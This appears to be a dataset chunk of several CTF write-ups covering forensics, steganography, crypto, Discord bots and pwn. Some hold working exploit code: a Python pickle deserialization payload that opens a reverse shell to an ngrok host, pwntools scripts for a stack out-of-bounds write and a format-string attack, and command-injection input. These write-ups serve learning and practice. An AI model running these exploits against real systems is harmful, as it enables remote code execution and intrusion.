text_chunk
stringlengths 151
703k
|
---|
# Chandi Bot 1
- 66 Points / 290 Solves
## Background
Have you noticed the funny bot on the server?

## Find the flag
**In the RITSEC CTF Discord server, we can see there's a bot:**

**And the it's profile is hiding something!**

- **Flag: `RS{QUANTUM_RESISTANT_ENCRYPTION}`** |
# Red Team Activity 1
- 84 Points / 199 Solves
## Background
Q1: what was the script name that was dropped?
Note: Flag format is `RS{MD5sum(<answer string>)}`

## Find the flag
**In this challenge, we can download a file:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Forensics/Red-Team-Activity-1)-[2023.04.01|17:54:12(HKT)]└> file auth.log auth.log: ASCII text, with very long lines (1096)```
As you can see, it's the `auth.log`, which is a Linux log file that stores **system authorization information, including user logins and authentication machinsm that were used.**
**Since the challenge question is asking "script", we can search `.sh` files via `grep`:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Forensics/Red-Team-Activity-1)-[2023.04.01|17:55:28(HKT)]└> grep '\.sh' auth.logMar 25 20:10:40 ctf-1 sudo: root : (command continued) # sha256sum is installed by default in some other distros#012 elif check_exists sha256sum; then#012 SHA_COMMAND="sha256sum"#012 fi#012 if [[ "${SHA_COMMAND}" != "" ]]; then#012 log "Will use ${SHA_COMMAND} to validate the checksum of the downloaded file"#012 SHA_URL="${URL}.sha256"#012 SHA_PATH="${OUTPUT_PATH}.sha256"#012 ${CURL_COMMAND} -o "${SHA_PATH}" "${SHA_URL}"#012 if ${SHA_COMMAND} --status -c "${SHA_PATH}"; then#012 log "The downloaded file's checksum validated correctly"#012 else#012 SHA_EXPECTED=$(cat "${SHA_PATH}")#012 SHA_ACTUAL=$(${SHA_COMMAND} "${OUTPUT_PATH}")#012 if check_exists awk; then#012 SHA_EXPECTED=$(echo "${SHA_EXPECTED}" | awk '{print $1}')#012 SHA_ACTUAL=$(echo "${SHA_ACTUAL}" | awk '{print $1}')#012 fi#012 log_important "Checksum of the downloaded file did not validate correctly"#012 Mar 25 20:49:58 ctf-1 snoopy[2515]: [login:ubuntu ssh:((undefined)) sid:2393 tty:/dev/pts/2 (0/root) uid:root(0)/root(0) cwd:/root/.ssh]: vim /dev/shm/_script2980.sh[...]```
Found it! The `_script2980.sh` script looks sussy!
**MD5 the answer:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Forensics/Red-Team-Activity-1)-[2023.04.01|17:54:13(HKT)]└> echo -n '_script2980.sh' | md5sum 5d8b854103d79677b911a1a316284128 -```
> Note: The `-n` flag is to ignore new line character at the end. Otherwise it'll generate a different MD5 hash.
- **Flag: `RS{5d8b854103d79677b911a1a316284128}`** |
# Pickle Store
- 223 Points / 109 Solves
## Background
New pickles just dropped! Check out the store.
[https://pickles-web.challenges.ctf.ritsec.club/](https://pickles-web.challenges.ctf.ritsec.club/)

## Enumeration
**Home page:**

In here, we can pick 4 different pickles.
**View source page:**```html[...]<div> <input type='button' class='button' onclick='document.cookie= "order=gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4="' value='Sweet Pickle: $2'> <input type='button' class='button' onclick='document.cookie="order=gASVDgAAAAAAAACMCnNvdXJwaWNrbGWULg=="' value='Sour Pickle: $2'> <input type='button' class='button' onclick='document.cookie= "order=gASVEAAAAAAAAACMDHNhdm9yeXBpY2tsZZQu"' value='Savory Pickle: $2'> <input type='button' class='button' onclick='document.cookie= "order=gASVDwAAAAAAAACMC3NhbHR5cGlja2xllC4="' value='Salty Pickle: $2'> </div>[...]```
When those buttons are clicked, it'll bring us to `/order`, and set a new cookie called `order`, with value base64 encoded string. It's base64 encoded because the last character has `=`, which is a base64 encoding's padding character.
Let's click on the first one:


As excepted, it brings us to `/order`, and response us the pickle name.
**Now, I wonder what's that base64 string. Let's decode that!**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|12:34:45(HKT)]└> echo 'gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4=' | base64 -d | xxd00000000: 8004 950f 0000 0000 0000 008c 0b73 7765 .............swe00000010: 6574 7069 636b 6c65 942e etpickle..```
As you can see, after decoded, it's just some raw bytes.
Luckly, this challenge's title and website contents gave us a big hint: ***Pickle***.
In Python, there's a library called "Pickle", which is an object ***serialization*** library for Python.
> The [`pickle`](https://docs.python.org/3/library/pickle.html#module-pickle "pickle: Convert Python objects to streams of bytes and back.") module implements binary protocols for serializing and de-serializing a Python object structure. _“Pickling”_ is the process whereby a Python object hierarchy is converted into a byte stream, and _“unpickling”_ is the inverse operation, whereby a byte stream (from a [binary file](https://docs.python.org/3/glossary.html#term-binary-file) or [bytes-like object](https://docs.python.org/3/glossary.html#term-bytes-like-object)) is converted back into an object hierarchy. Pickling (and unpickling) is alternatively known as “serialization”, “marshalling,” \[[1]\](https://docs.python.org/3/library/pickle.html#id7) or “flattening”; however, to avoid confusion, the terms used here are “pickling” and “unpickling”. (From [`pickle` documentation](https://docs.python.org/3/library/pickle.html))
**If you go to [Pickle's documentation](https://docs.python.org/3/library/pickle.html), you'll see this:**

## Exploitation
Armed with above information, it's clear that the `order` cookie is vulnerable to ***Insecure Deserialization via Python's Pickle***.
**According to [HackTricks](https://book.hacktricks.xyz/pentesting-web/deserialization#pickle), we can gain Remote Code Execution (RCE) via the `__reduce__` magic method:**

**Now, let's create our own evil pickle serialized object, and send it!!**```py#!/usr/bin/env python3import pickle, os, base64import requests
class P(object): def __reduce__(self): return (os.system,("id ",))
def main(): pickledPayload = base64.b64encode(pickle.dumps(P())).decode() print(f'[*] Payload: {pickledPayload}')
URL = 'https://pickles-web.challenges.ctf.ritsec.club/order' cookie = { 'order': pickledPayload }
print('[*] Request result:') orderRequestResult = requests.get(URL, cookies=cookie) print(orderRequestResult.text)
if __name__ == '__main__': main()```
```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|12:48:25(HKT)]└> python3 solve.py[*] Payload: gASVHgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjANpZCCUhZRSlC4=[*] Request result:
<head> <title>Pickle Store</title> <link rel="stylesheet" href="/static/style.css"></head><body> <h1>Here's your order!</h1> <h2>0</h2> New Order</body>```
Umm... `0`??
It seems like the `/order` doesn't reflect (display) our payload's result...
Hmm... Let's get a shell then.
**After some trial and error, the Python3 reverse shell worked:** (From [revshells.com](https://www.revshells.com/))```py#!/usr/bin/env python3import pickle, os, base64import requests
class RCE(object): def __reduce__(self): return (os.system,('''python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("0.tcp.ap.ngrok.io",11713));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' ''',))
def main(): pickledPayload = base64.b64encode(pickle.dumps(RCE())).decode() print(f'[*] Payload: {pickledPayload}')
URL = 'https://pickles-web.challenges.ctf.ritsec.club/order' cookie = { 'order': pickledPayload }
print('[*] Request result:') orderRequestResult = requests.get(URL, cookies=cookie) print(orderRequestResult.text)
if __name__ == '__main__': main()```
**Setup a `nc` listener:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.02|13:13:43(HKT)]└> nc -lnvp 4444listening on [any] 4444 ...```
**Since we don't have a VPN connection to the challenge's instance, we'll need to do port forwarding. I'll use `ngrok` to do that:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|13:06:54(HKT)]└> ngrok tcp 4444[...]Forwarding tcp://0.tcp.ap.ngrok.io:11713 -> localhost:4444[...]```
**Send the payload:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|13:18:44(HKT)]└> python3 solve.py[*] Payload: gASVtAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjJlweXRob24zIC1jICdpbXBvcnQgb3MscHR5LHNvY2tldDtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKCIwLnRjcC5hcC5uZ3Jvay5pbyIsMTE3MTMpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vYmFzaCIpJyCUhZRSlC4=[*] Request result:
```
```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.02|13:13:43(HKT)]└> nc -lnvp 4444listening on [any] 4444 ...connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38340user@NSJAIL:/home/user$```
Boom! I'm in!
**Let's get the flag!**```shelluser@NSJAIL:/home/user$ ls -lah /total 64Kdrwxr-xr-x 17 nobody nogroup 4.0K Apr 2 02:27 .drwxr-xr-x 17 nobody nogroup 4.0K Apr 2 02:27 ..lrwxrwxrwx 1 nobody nogroup 7 Mar 8 02:05 bin -> usr/bindrwxr-xr-x 2 nobody nogroup 4.0K Apr 15 2020 bootdrwxr-xr-x 5 nobody nogroup 360 Apr 2 04:51 devdrwxr-xr-x 35 nobody nogroup 4.0K Apr 2 02:26 etc-rw-r--r-- 1 nobody nogroup 28 Mar 30 04:04 flagdrwxr-xr-x 3 nobody nogroup 4.0K Apr 2 02:26 homelrwxrwxrwx 1 nobody nogroup 7 Mar 8 02:05 lib -> usr/liblrwxrwxrwx 1 nobody nogroup 9 Mar 8 02:05 lib32 -> usr/lib32lrwxrwxrwx 1 nobody nogroup 9 Mar 8 02:05 lib64 -> usr/lib64lrwxrwxrwx 1 nobody nogroup 10 Mar 8 02:05 libx32 -> usr/libx32drwxr-xr-x 2 nobody nogroup 4.0K Mar 8 02:06 mediadrwxr-xr-x 2 nobody nogroup 4.0K Mar 8 02:06 mntdrwxr-xr-x 2 nobody nogroup 4.0K Mar 8 02:06 optdrwxr-xr-x 2 nobody nogroup 4.0K Apr 15 2020 procdrwx------ 3 nobody nogroup 4.0K Apr 2 02:26 rootdrwxr-xr-x 5 nobody nogroup 4.0K Mar 8 02:09 runlrwxrwxrwx 1 nobody nogroup 8 Mar 8 02:05 sbin -> usr/sbindrwxr-xr-x 2 nobody nogroup 4.0K Mar 8 02:06 srvdrwxr-xr-x 2 nobody nogroup 4.0K Apr 15 2020 sysdrwxrwxrwt 2 user user 80 Apr 2 05:18 tmpdrwxr-xr-x 13 nobody nogroup 4.0K Mar 8 02:06 usrdrwxr-xr-x 11 nobody nogroup 4.0K Mar 8 02:09 varuser@NSJAIL:/home/user$ cat /flagRS{TH3_L345T_53CUR3_P1CKL3}```
- **Flag: `RS{TH3_L345T_53CUR3_P1CKL3}`**
## Conclusion
What we've learned:
1. Insecure Deserialization In Python's Pickle Library |
DESCRIPTION:
Nice guys finish last, but following the rules just may gain you some points!
Well, the rules are either supposed to be on the site or on discord so ezpz checking out both we get the flag upon the description section of #rules-and-announcement section of the discord.

```FLAG: VishwaCTF{g3n3r1c_d1sc0rd_fl4g}``` |


We got a audio file attachment with this, We can recognize the voice of ajay devgan and he says zaheer khan and by listening to audio it seems like this is a patriotic movie, after surfing internet Found this movie with ajaj devgan in it and zaheer khan character played by MukeshTiwari.

In description it says reviews from Newspaper Like "TO"' so searched it,


Found these two comment by the same person, It says the format of the flag in 2nd one and in 1st one it says its 229 cr less and this guys also loves all the movies of this movie director which is Rohit Shetty. zameen box office collection was 11 cr and it says it is 229cr less so it must be 240cr and the movie simmba with director Rohit Shetty earned 240 cr in total at box office: so according to format the flag was
```VishwaCTF{28122018_Simmba}``` |
In this question we are provided with a Wireshark Capture file named usbforensics.pcapng.

It is a capture of USB protocol. Generally in a usb dump we find keyboard interrupts ormouse clicks as user input data, so I started searching for any packet containing infoabout what type of data this dump contains.
After a while I got Get Response packet of a Device:

You can see idProduct is Keyboard, by this I know this capture is storing the data ofkeyboard interrupts.
Now only thing left to do is to analyse the URB_INTERRUPT IN packets particularly whosesource is 7.16.1 which is most probably device IP and destination is host.
After observing I got to know the desired packets have frame length 66, so I applied a filterfor the same:
usb.transfer_type == 0x01 and frame.len==66 and !(usb.capdata == 00:00:00:00:00:00:00:00)

Now in every alternate packet I found HID Data:

Following this I got the whole flag:
```FLAG: VishwaCTF{n0w_y0u_423_d0n3_w17h_u58_f023n51c5}``` |
1. Aperisolve, stegonline did not yield any results except for a password.

2. Password did not work with the original image in steghide.
3. opened image in hexeditor, saw extra data after file trailer ffd9

4. copied that data into another file
5. Opened that file as an archive and extracted it
6. A thousand images available.

7. Brute forced all of them with the password. Got the flag.
```import subprocessimpath = r"C:/Users/%USER%/Desktop/RitSec CTF/cid/CID HQ/"data = []dataImages = []for i in range(369, 370):try:print(subprocess.check_output(["steghide", "extract", "-sf", impath + f"{i}.jpg", "-p",daya darwaza tod do"]))dataImages.append(i)data.append(subprocess.check_output(["steghide", "extract", "-sf", impath +f"{i}.jpg", "-p", "daya darwaza tod do"]))except subprocess.CalledProcessError as e:print("Failed image number ", i)print("\n\n")print(data)print("\n\n")print(dataImages)``` |
Description:I got ditched by someone and I need your help !!! The bill amount that wascharged to me was not correct. The image of the bill was corrupted. Sources saidthat some PIXELS of the image were FORRENSICAllY manipulated or edited,leading to changes in the total bill amount. You have to reach the image to seewhat happened. Remember to analyze every pixel of the image carefully.P.S.: Round off the actual total amount to closest Integer.Flag Format : VishwaCTF{actual_total_amount}
In this question we were given a gif showing 2 frames:

It clearly looks like a QR-code, so I tried creating one by taking 0s as White and 1sas Black.

This is the QR I made but unfortunately it didn’t work.In the description words like manipulation, edit, analyse pixel lead me to think if there issome manipulationIn QR , soo I tried fixing it by replacing the scanning blocks, due to pixel error, I decreasedthe size of it and finally it worked!!

Scanned this QR using this website: [QR Scanner](https://products.aspose.app/barcode/recognize)
Got this Github Repo: https://github.com/Amanjain4269/next-step.git

This UseMe file had a raw data of a jpeg image converted to Base64 format.Converted it to image file using this website:https://codebeautify.org/base64-to-image-converter

It was soo obvious that this total amount won’t work, also in description it is clearlymentioned“The bill amount that was charged” soo I checked the Error Level Ananlysis of the image.Website that I used: https://29a.ch/photo-forensics/#error-level-analysis

You can see someone added “7” and “8” in from of the amount of Phone and Watch.
Skipping those numbers the amount lowers down to:
Phone: 23454Watch: 6574Laptop: 456280
Total: 486308
Tax(18%): 87535(appx.)Final Total: 537843
This is the Original and Required amount!!
```Flag: VishwaCTF{537843}``` |
## [RII] Magic the GatheRIIng
was a pwn challenge from SunshineCTF 2022.
the program is a pseudo "magic the gathering" card game.
let's check binary protections:

ok so no PIE.
well the program present us a menu:

you can print rules, load cards, play the game (slow of fast), and exits..
well the vulnerability lies in the function at address 0x40153f:

if you look at the reverse produce by IDA,
you can see that the scanf function
>`__isoc99_sscanf(a2, "%hhd %c %s %d %d %d", &v4, &v5, v10, &v6, &v7, &v8)`
initialize various variables, the `v4` variable is used to calculate the `v9` pointer a bit after
>`v9 = 24LL * v4 + a1;`
then this `v9` pointer is used to write the other values `v6`, `v7` and `v8` in particular.
the `v4` index is not checked for any bounds, and as `v9` is based on `a1` variable that points on stack,
we basically have an out of bounds write on stack.
We can only control `v6`, `v7`, and `v8` values , so a qword and a dword,.. we can only load cards two times, so we can only write two really controlled values on stack..
**So here is the plan**
* **First we will try to have a libc leak**
* **Second we will overwrite main return address with a one gadget**
When playing the game, a string "Basic Troll" or "Basic Land" is printed, via pointers to this strings..
Luckily for us, one of this pointer is reachable with our oob write on stack , the "Basic Land" string pointer.
So we will overwrite this pointer, with the `puts()` function GOT address
Then we play a game , and when the game will try to print "Basic Land", it will leak `puts()` function libc address..
with this leak we will calculate libc base address.
Then with our second oob write, we overwrite `main()` return address with a onegadget..
And when we will exit, we will have a shell...
and that's All..
seeing is believing no?

if you understand nothing of my explanation, well... just read the code
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'info'
exe = ELF("MagicTheGatheRIIng_patched")libc = ELF("./libc.so.6")
# change -l0 to -l1 for more gadgetsdef one_gadget(filename, base_addr=0): return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l0', filename]).decode().split(' ')]
# shortcutsdef logbase(): log.info("libc base = %#x" % libc.address)def sla(delim,line): return p.sendlineafter(delim,line)
host, port = "sunshinectf.games", "22002"
if args.REMOTE: p = remote(host,port)else: p = process([exe.path])
# overwrite "Basic Land" string at offset 20, with puts got address to leak libc addresssla('> ', '2')payload = '20 m %p 0 '+str(0x405f60)+' 0\n'sla(':\n', payload)
# get our leaksla('> ', '4')while(1): p.recvuntil('Drew ', drop=True) leak = p.recv(6) if 'Basic' not in leak: break# calculate libc baselibc.address = u64(leak.ljust(8,b'\x00')) - libc.sym['puts']logbase()p.recvuntil('Simplified', drop=True)onegadgets = one_gadget(libc.path, libc.address)
# overwrite return address at offset 45 with onegadgetssla('> ', '2')target = onegadgets[1]payload = '45 m '+'\x40\x02\x03'+' 1337 '+str(target & 0xffffffff)+' '+str((target>>32) & 0xffffffff)+'\n'sla(':\n', payload)# return and get shellsla('> ', '5')
p.interactive()```
*nobodyisnobody still pwning...*
write-up index --> [https://github.com/nobodyisnobody](http://) |
## Perfect Synchronization > The final stage of your initialization sequence is mastering cutting-edge technology tools that can be life-changing. One of these tools is quipqiup, an automated tool for frequency analysis and breaking substitution ciphers. This is the ultimate challenge, simulating the use of AES encryption to protect a message. Can you break it?
## SolutionThe challenge comes with two files. One python script and a decrypted message. Inspecting the python code leads to the assumption, that the encrypted text is safely encrypted with AES in ECB mode. The weak spot is the deterministic result that is produced as blocks are filed with a 15 byte salt and only one character.
Therefore we do what the description already hinted: some frequency analysis. For this the input needs to be transferred into some sort of running text. This can be done by [`mapping the blocks to an simple alphabet`](https://github.com/D13David/ctf-writeups/blob/main/cyber_apocalypse23/crypto/perfect_synchronization/solution.py).
```pythonwith open("./crypto_perfect_synchronization/output.txt", 'r') as f: lines = f.readlines()
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"i = 0d = {}
result = []for line in lines: b = bytearray(line.encode()) s = hashlib.md5(b).hexdigest() if i < len(alphabet): if not s in d: d[s] = alphabet[i] i = i + 1 result.append(d[s]) else: print("skip")
print("".join(str(x) for x in result))
```
Invoking this gives us the result we can use with [`quipquip`](https://quipqiup.com/):
```bash$ python test.pyABCDECFGHIJFJKHLMLIMLINJLCOIPFIQRCIAJGQIQRJQIMFIJFHISMTCFILQBCQGRIPAIUBMQQCFIKJFSEJSCIGCBQJMFIKCQQCBLIJFOIGPVNMFJQMPFLIPAIKCQQCBLIPGGEBIUMQRITJBHMFSIABCDECFGMCLIVPBCPTCBIQRCBCIMLIJIGRJBJGQCBMLQMGIOMLQBMNEQMPFIPAIKCQQCBLIQRJQIMLIBPESRKHIQRCILJVCIAPBIJKVPLQIJKKILJVWKCLIPAIQRJQIKJFSEJSCIMFIGBHWQJFJKHLMLIABCDECFGHIJFJKHLMLIJKLPIXFPUFIJLIGPEFQMFSIKCQQCBLIMLIQRCILQEOHIPAIQRCIABCDECFGHIPAIKCQQCBLIPBISBPEWLIPAIKCQQCBLIMFIJIGMWRCBQCYQIQRCIVCQRPOIMLIELCOIJLIJFIJMOIQPINBCJXMFSIGKJLLMGJKIGMWRCBLIABCDECFGHIJFJKHLMLIBCDEMBCLIPFKHIJINJLMGIEFOCBLQJFOMFSIPAIQRCILQJQMLQMGLIPAIQRCIWKJMFQCYQIKJFSEJSCIJFOILPVCIWBPNKCVILPKTMFSILXMKKLIJFOIMAIWCBAPBVCOINHIRJFOIQPKCBJFGCIAPBICYQCFLMTCIKCQQCBINPPXXCCWMFSIOEBMFSIUPBKOIUJBIMMINPQRIQRCINBMQMLRIJFOIQRCIJVCBMGJFLIBCGBEMQCOIGPOCNBCJXCBLINHIWKJGMFSIGBPLLUPBOIWEZZKCLIMFIVJ0PBIFCULWJWCBLIJFOIBEFFMFSIGPFQCLQLIAPBIURPIGPEKOILPKTCIQRCVIQRCIAJLQCLQILCTCBJKIPAIQRCIGMWRCBLIELCOINHIQRCIJYMLIWPUCBLIUCBCINBCJXJNKCIELMFSIABCDECFGHIJFJKHLMLIAPBICYJVWKCILPVCIPAIQRCIGPFLEKJBIGMWRCBLIELCOINHIQRCI0JWJFCLCIVCGRJFMGJKIVCQRPOLIPAIKCQQCBIGPEFQMFSIJFOILQJQMLQMGJKIJFJKHLMLISCFCBJKKHIRQN1J2LMVWKC2LENLQMQEQMPF2ML2UCJX3IGJBOIQHWCIVJGRMFCBHIUCBCIAMBLQIELCOIMFIUPBKOIUJBIMMIWPLLMNKHINHIQRCIELIJBVHLILMLIQPOJHIQRCIRJBOIUPBXIPAIKCQQCBIGPEFQMFSIJFOIJFJKHLMLIRJLINCCFIBCWKJGCOINHIGPVWEQCBILPAQUJBCIURMGRIGJFIGJBBHIPEQILEGRIJFJKHLMLIMFILCGPFOLIUMQRIVPOCBFIGPVWEQMFSIWPUCBIGKJLLMGJKIGMWRCBLIJBCIEFKMXCKHIQPIWBPTMOCIJFHIBCJKIWBPQCGQMPFIAPBIGPFAMOCFQMJKIOJQJIWEZZKCIWEZZKCIWEZZK4```
Putting the message to quipquip leads already some promising results:
```frequency manalysis mism based monm them fact m that m in many mgiven ...```
The tool only needs a few hints. E.g., ABCDECFGH = FREQUENCY, JFJKHLML = ANALYSIS and I = *SPACE*. Providing this hints the result seems already good enough:
``` FREQUENCY ANALYSIS IS BASED ON THE FACT THAT IN ANY GIVEN STRETCH OF WRITTEN LANGUAGE CERTAIN LETTERS AND COMBINATIONS OF LETTERS OCCUR WITH VARYING FREQUENCIES MOREOVER THERE IS A CHARACTERISTIC DISTRIBUTION OF LETTERS THAT IS ROUGHLY THE SAME FOR ALMOST ALL SAMPLES OF THAT LANGUAGE IN CRYPTANALYSIS FREQUENCY ANALYSIS ALSO KNOWN AS COUNTING LETTERS IS THE STUDY OF THE FREQUENCY OF LETTERS OR GROUPS OF LETTERS IN A CIPHERTEXT THE METHOD IS USED AS AN AID TO BREAKING CLASSICAL CIPHERS FREQUENCY ANALYSIS REQUIRES ONLY A BASIC UNDERSTANDING OF THE STATISTICS OF THE PLAINTEXT LANGUAGE AND SOME PROBLEM SOLVING SKILLS AND IF PERFORMED BY HAND TOLERANCE FOR EXTENSIVE LETTER BOOKKEEPING DURING WORLD WAR II BOTH THE BRITISH AND THE AMERICANS RECRUITED CODEBREAKERS BY PLACING CROSSWORD PUZZLES IN MA0OR NEWSPAPERS AND RUNNING CONTESTS FOR WHO COULD SOLVE THEM THE FASTEST SEVERAL OF THE CIPHERS USED BY THE AXIS POWERS WERE BREAKABLE USING FREQUENCY ANALYSIS FOR EXAMPLE SOME OF THE CONSULAR CIPHERS USED BY THE 0APANESE MECHANICAL METHODS OF LETTER COUNTING AND STATISTICAL ANALYSIS GENERALLY HTB1A2SIMPLE2SUBSTITUTION2IS2WEAK3 CARD TYPE MACHINERY WERE FIRST USED IN WORLD WAR II POSSIBLY BY THE US ARMYS SIS TODAY THE HARD WORK OF LETTER COUNTING AND ANALYSIS HAS BEEN REPLACED BY COMPUTER SOFTWARE WHICH CAN CARRY OUT SUCH ANALYSIS IN SECONDS WITH MODERN COMPUTING POWER CLASSICAL CIPHERS ARE UNLIKELY TO PROVIDE ANY REAL PROTECTION FOR CONFIDENTIAL DATA PUZZLE PUZZLE PUZZL4```
The flag can be read already ```HTB{A_SIMPLE_SUBSTITUTION_IS_WEAK}``` |
# Chandi Bot 4
- 183 Points / 147 Solves
## Background
Can you beat the bot?

## Find the flag
In this challenge, we need 3 commands: ***`/balance` to check how many point we have, `/rps` to play "Rock Paper Scissors" to gain points, `/dad` to gain 1 point, `/buy-flag` to buy flag for 10000 points***
**First, let's check our balance:**

We got 0 point.
**Then, gain 1 point by using `/dad` command:**

**Next, use `/rps` to play "Rock Paper Scissors":**

Hmm... we can't wager 0 points...
I wonder can we go negative points:

Ohh!! We can! And we gain 1 point!!
**Let's use that logic vulnerbility to gain 9999999 points!!**```/rps choice:Rock wager:-9999999```

Boom! We have 10000001 points!!
**Finally, we can use `/buy-flag` command to buy the flag!**

- **Flag: `RS{TWO_NEGATIVES_DO_MAKE_A_POSITIVE}`**
## Conclusion
What we've learned:
1. Exploiting Logic Vulnerability |
Check the link for details (KOR) [MIsutgaRU](https://mi-sutga-ru.tistory.com/23)
```#!/usr/bin/python3# MIsutgaRU
from pwn import *
#s = process("./printfail")s = remote("puffer.utctf.live", 4630)
#pause()
# [stage 1]p = b"%1c%7$hhn" # 7 - stack (while loop 1)p += b"%4$p" # 4 - codep += b"%13$p" # 13 - libcs.sendlineafter(b"No do-overs.\n",p)
s.recv(1) # %1ccodeleak = int(s.recv(14),16) - 0x4040log.info("code: " + hex(codeleak))libcleak = int(s.recv(14),16) - 0x24083log.info("libc: " + hex(libcleak))
# [stage 2]finiarray_offset = 0x3d90buf = codeleak + 0x4040 - finiarray_offset - 1offset = str(hex(buf))[-4:]log.info("fsb_payload : " + offset)
p = b"%1c%7$hhn" # 7 - stack (while loop 1)p += b"%" + str(int(offset, 16)).encode() + b"c"p += b"%32$hn"s.sendline(p)
s.recvuntil(b"another chance.")s.recvuntil(b"another chance.")
# [stage 3]payload = p64(libcleak + 0x000000000016de72) # add r14b, r11b ; movq qword ptr [rdi], mm1 ; retpayload += b"A"*54 # dummypayload += p64(codeleak + 0x000000000001294) # mainpayload += p64(0) # set register NULL
s.sendline(payload) # _dl_fini+520 / call QWORD PTR [r14] - loop (_dl_fini+534)
sleep(1)
payload = p64(0) # set rsi NULLpayload += b"A"*46 # dummy (sub r14, 0x8)payload += p64(libcleak+0xe3b04) # execve("/bin/sh", rsi, rdx) / rsi == NULL && rdx == NULLpayload += p64(0) # set register NULL
s.sendline(payload)
s.interactive()``` |
In the question we are provided with a file with “Extension Error” after checking itsheader file, It was really clear it is a GIF file.

Converting this file to GIF will show result like this,

After checking some data related to this GIF like strings, frames, and steghide I checked
its metadata and got a string in comments which was in base64 format.
dmlzaHdhQ1RGe3ByMDczYzdfdXJfM1gxRn0=
Decrypting this to plain text got me to the Flag.
```FLAG: vishwaCTF{pr073c7_ur_3X1F}``` |
# QR
## Steganography
## Description
My stupid kid drew on this QR code with his crayons. Figure it out. He was a mistake.
## What's Provided:
One photo: qr.png

# Steps:
Solving this took some learning. I honestly had no idea how QR Codes worked. So I took to Google, searching QR code repair.
One of the first sites I found gave me a suitable amount of information to go off of ->[DataGenetics](http://datagenetics.com/blog/november12013/index.html).
There I learned why the art was so destructive: It covered all of the necessary info at least partially. That means that the positioning, format information, timing marks, version info, spacing, and alignment were all pretty well broken.
So how do you fix it? My first step was... tedious. I went to [Photopea](https://photopea.com) and began manually fixing each square. It felt like when a plastic surgeon removes the skin from your leg to repair a face.
Did it look good? No. Not at all. Was it passable? Also no. I am not a good surgeon or a good graphic designer.
So rather than waste three more hours of my life, I found a new tool: [QRazyBox](https://merricx.github.io/qrazybox/). This tool allowed me to really explore a QR - see the bit info and repair without the extremely boring job of cutting, copying, and pasting tiny squares all over this QR.
Eventually I got far enough to uncover the flag. RS{CUE_ARE_D3C0D3D}
Here's the progress of my frankenstein QR:
 |
**Description**: Do you hear that?
**What do they give:**
Echoes gives you a website that has one form. This form was XSS vulnerable, but that wasn't the *intended* solution.The form simply echoes whatever text you enter.
Now, I believe they wanted a user to figure out that if you type the following:```; ls```That it would list the contents of the directory.
From there, a user could enter the following:```; cat flag.txt```
However, that wasn't actually necessary.
I went out on a hunch and simply added /flag.txt to the url.
That wasn't secured, and out came the flag. |
DESCRIPTIONMy friend Shamir has used this special encoding technique to protect the preciousFlag Can you help me decode it?
```from sympy import randprimefrom random import randrangedef generate_shares(secret, k, n): prime = randprime(secret, 2*secret) coeffs = [secret] + [randrange(1, prime) for _ in range(k-1)] shares = [] for i in range(1, n+1): x = i y = sum(c * x**j for j, c in enumerate(coeffs)) % prime shares.append((x, y)) return shares, primek = 3n = 5flag = open('flag.txt', 'rb').read().strip()for i in flag: shares, prime = generate_shares(i, k, n) print(shares,prime,sep=', ')```

We have given this Python program and this output file.
So, as we can see there is the array of shares and given the prime number by which theshares are calculated.
For the solution I tried making the sample flag.txt file which contains all the possiblecharacters which can be in the flag which will give me the output according to the differentprime numbers and coeff array.
Flag.txt file consist of
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890a!@#$%^&*()_+-=[]{}:<>?,./|”
By seeing this code we can see that the coeff array in the generate shares function has theascii of the character, and two random numbers between the range of 1 to prime.
The code which I made to try to brute force is :
```from sympy import randprimefrom random import randrangedef generate_shares(secret, k, n): prime = 107 for k1 in range(prime): for k2 in range(prime): coeffs = [secret, k1, k2] shares = [] for i in range(1, n+1): x = i y = sum(c * x**j for j, c in enumerate(coeffs)) % prime shares.append((x, y)) yield shares, primek = 3n = 5flag = open('flag.txt', 'rb').read().strip()for i in flag: for shares, prime in generate_shares(i, k, n): if(shares[0]==(1, 76) and shares[1]==(2, 31)) and shares[2]==(3,58) : print(chr(i), shares, prime, sep=", ")```
In this code we are taking the values of three shares and the prime number according to theset given in output.txt and it is checking every possible value from the flag.txt andcomparing with every shares generated by the different values of coeffs array. If it matchesit will print the character that gets matched from flag.txt
```Flag: VishwaCTF{l4gr4ng3_f0r_th3_w1n!}``` |
DESCRIPTIONMarcus Got a Mysterious mail promising a flag if he could crack the password to thefile
We took the Zip file from the given downloads description of the challenge and I found that the zipfile is locked.

So I tried to crack the zip file using zip2john. And I saved the hashes in the zip file using thecommand “zip2john unzipme.zip > zip.hashes”. Now I tried to bruteforcing the hashes file using therocyou.txt using the command “john –wordlist=rockyou.txt zip.hashes”. And From that I got thepassword of the zip file.

After opening the zip file. I found the flag.

```Flag: vishwaCTF{1d3n7i7y_7h3f7_is_n0t_4_j0k3}``` |
DESCRIPTIONHere you go with your first flag!!!
